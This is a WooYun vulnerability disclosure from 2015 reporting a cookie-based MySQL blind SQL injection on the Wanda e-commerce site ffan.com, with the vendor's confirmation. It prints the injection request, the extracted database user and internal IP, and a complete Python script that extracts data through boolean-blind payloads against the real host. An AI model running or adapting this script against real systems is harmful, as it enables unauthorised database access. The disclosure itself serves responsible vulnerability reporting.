当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104621

漏洞标题:万达电商主站存在MySQL注射(附验证脚本)

相关厂商:万达电商

漏洞作者: lijiejie

提交时间:2015-03-29 20:58

修复时间:2015-05-13 21:10

公开时间:2015-05-13 21:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-29: 细节已通知厂商并且等待厂商处理中
2015-03-29: 厂商已经确认,细节仅向厂商公开
2015-04-08: 细节向核心白帽子及相关领域专家公开
2015-04-18: 细节向普通白帽子公开
2015-04-28: 细节向实习白帽子公开
2015-05-13: 细节向公众公开

简要描述:

万达电商主站存在MySQL注射(附验证脚本)

详细说明:

注入点:

GET /catering HTTP/1.1
Cookie: PHPSESSID=5dc8189e97e848e3bcab3381649061af; SESSIONID=5dc8189e97e848e3bcab3381649061af; CITY_ID=*; U_UID=5dc8189e97e848e3bcab3381649061af
X-Requested-With: XMLHttpRequest
Referer: http://www.ffan.com
Host: www.ffan.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


Cookie中的CITY_ID可注入,MySQL bool blind。

漏洞证明:

猜解user(),得到:

[Done] MySQL user is user_profileinfo@10.77.135.76


ffan.com.png


验证脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie': ''}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL User:'
user = ''
for i in range(1, 30):
for payload in payloads:
s = 'ascii(mid(lower(user()),%s,1))=%s' % (i, ord(payload))
cookie = "PHPSESSID=5dc8189e97e848e3bcab3381649061af; SESSIONID=5dc8189e97e848e3bcab3381649061af; CITY_ID=123' or 1=1 and %s-- ; U_UID=5dc8189e97e848e3bcab3381649061af" % s
headers['Cookie'] = cookie
conn = httplib.HTTPConnection('www.ffan.com', timeout=60)
conn.request(method='GET',
url='/catering',
headers=headers)
html_doc = conn.getresponse().read().decode('utf-8')
conn.close()
print '.',
if html_doc.find(u'/merchant/detail?storeid=2059629') > 0:
user += payload
print '\n[in progress]', user,
break
print '\n[Done] MySQL user is %s' % user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-03-29 21:08

厂商回复:

感谢lijiejie同学的关注与贡献!马上通知业务整改!

最新状态:

暂无